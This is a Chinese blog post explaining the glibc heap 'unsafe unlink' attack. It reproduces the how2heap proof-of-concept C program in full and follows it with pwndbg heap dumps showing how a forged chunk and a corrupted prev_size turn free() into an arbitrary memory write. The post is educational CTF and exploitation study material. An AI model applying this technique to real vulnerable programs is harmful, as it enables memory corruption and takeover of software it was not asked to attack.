美文网首页
unlink attack --how2heap unlink

unlink attack --how2heap unlink

作者: 骑猪满天飞 | 来源:发表于2020-12-13 13:29 被阅读0次

    unlink 简介

    unlink用于将 chunk 从所在的空闲链表中取出来。基本过程如下:

    unlink_smallbin_intro.png

    执行unlink时的检测:

    // fd bk
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \`
    
    // 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
        malloc_printerr ("corrupted size vs. prev_size");               \
    
    

    检查项总结:

    • FD->BK=P,BK->FD=P
    • chunk size是否等于next chunk(内存意义上的)的prev_size

    how2heap unlink

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    
    
    uint64_t *chunk0_ptr;
    
    int main()
    {
        fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
        fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
        fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
        fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
    
        int malloc_size = 0x80; //we want to be big enough not to use fastbins
        int header_size = 2;
    
        fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
    
        chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
        uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
        fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
        fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
    
        fprintf(stderr, "We create a fake chunk inside chunk0.\n");
        fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
        chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
        fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
        fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
        chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
        fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
        fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
    
        fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
        uint64_t *chunk1_hdr = chunk1_ptr - header_size;
        fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
        fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
        chunk1_hdr[0] = malloc_size;
        fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
        fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
        chunk1_hdr[1] &= ~1;
    
        fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
        fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
        free(chunk1_ptr);
    
        fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
        char victim_string[8];
        strcpy(victim_string,"Hello!~");
        chunk0_ptr[3] = (uint64_t) victim_string;
    
        fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
        fprintf(stderr, "Original value: %s\n",victim_string);
        chunk0_ptr[0] = 0x4141414142424242LL;
        fprintf(stderr, "New Value: %s\n",victim_string);
    }
    

    chunk0_ptr为全局变量指向chunk0的mem。

    申请chunk0和chunk1后堆栈如下:

    pwndbg> x/30gx 0x603000
    0x603000:   0x0000000000000000  0x0000000000000091  
    0x603010:   0x0000000000000000  0x0000000000000000  <--chunk0_ptr
    0x603020:   0x0000000000000000  0x0000000000000000
    0x603030:   0x0000000000000000  0x0000000000000000
    0x603040:   0x0000000000000000  0x0000000000000000
    0x603050:   0x0000000000000000  0x0000000000000000
    0x603060:   0x0000000000000000  0x0000000000000000
    0x603070:   0x0000000000000000  0x0000000000000000
    0x603080:   0x0000000000000000  0x0000000000000000
    0x603090:   0x0000000000000000  0x0000000000000091  <--chunk1
    0x6030a0:   0x0000000000000000  0x0000000000000000  
    0x6030b0:   0x0000000000000000  0x0000000000000000
    0x6030c0:   0x0000000000000000  0x0000000000000000
    0x6030d0:   0x0000000000000000  0x0000000000000000
    0x6030e0:   0x0000000000000000  0x0000000000000000
    

    伪造fake_chunk并满足FD->BK=P,BK->FD=P:

    fake_chunk->fd=&fake_chunk-3 
    fake_chunk->bk=&fake_chunk-2 
    
    此时fake_chunk即为P,
    FD->bk=&fake_chunk-3+3=&fake_chunk=&P
    BK->fd=&fake_chunk-2+2=&fake_chunk=&P
    满足要求
    

    gdb调试堆栈情况如下:

    fake_chunk:
    0x603000:   0x0000000000000000  0x0000000000000091   <--chunk0
    0x603010:   0x0000000000000000  0x0000000000000000   <--fake_chunk (chunk0_ptr)
    0x603020:   0x0000000000602058 <--fd    0x0000000000602060  <--bk  
    0x603030:   0x0000000000000000  0x0000000000000000
    
    FD:
    0x602058:   0x0000000000000000  0x00007ffff7dd2540
    0x602068:   0x0000000000000000  0x0000000000603010  <-- (FD->BK=P)
    
    BK:
    0x602060 :  0x00007ffff7dd2540  0x0000000000000000
    0x602070 :  0x0000000000603010 <--(BK->FD=P)    0x0000000000000000
    
    

    修改chunk1的prev_size为0x80,previous_in_use位为0.

    0x603000:   0x0000000000000000  0x0000000000000091
    0x603010:   0x0000000000000000  0x0000000000000000
    0x603020:   0x0000000000602058  0x0000000000602060
    0x603030:   0x0000000000000000  0x0000000000000000
    0x603040:   0x0000000000000000  0x0000000000000000
    0x603050:   0x0000000000000000  0x0000000000000000
    0x603060:   0x0000000000000000  0x0000000000000000
    0x603070:   0x0000000000000000  0x0000000000000000
    0x603080:   0x0000000000000000  0x0000000000000000
    0x603090:   0x0000000000000080  0x0000000000000090  <--chunk1_hdr
    0x6030a0:   0x0000000000000000  0x0000000000000000
    

    free(chunk1)时,伪造的fake_chunk与free合并,fake_chunk将触发unlink操作:
    P->fd->bk = P->bk.
    P->bk->fd = P->fd.
    P对应fake_chunk
    P->fd->bk(0x602070)=P->bk(0x602060)
    P->bk->fd(
    0x602070)=P->fd(0x602058)
    堆结构如下:

    0x602070:   0x0000000000602058  0x0000000000000000
    0x602080:   0x0000000000000000  0x0000000000000000
    

    此时chunk0_ptr为(0x602058),chunk0_ptr[3]=(chunk0_ptr+3)=0x602070即chunk0_ptr。

    chunk0_ptr[3] = victim_string; 修改chunk0_ptr指向victim_string
    chunk0_ptr[0] = 0x4141414142424242LL;修改victim_string的值。

    参考链接

    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/

    相关文章

      网友评论

          本文标题:unlink attack --how2heap unlink

          本文链接:https://www.haomeiwen.com/subject/zhrqgktx.html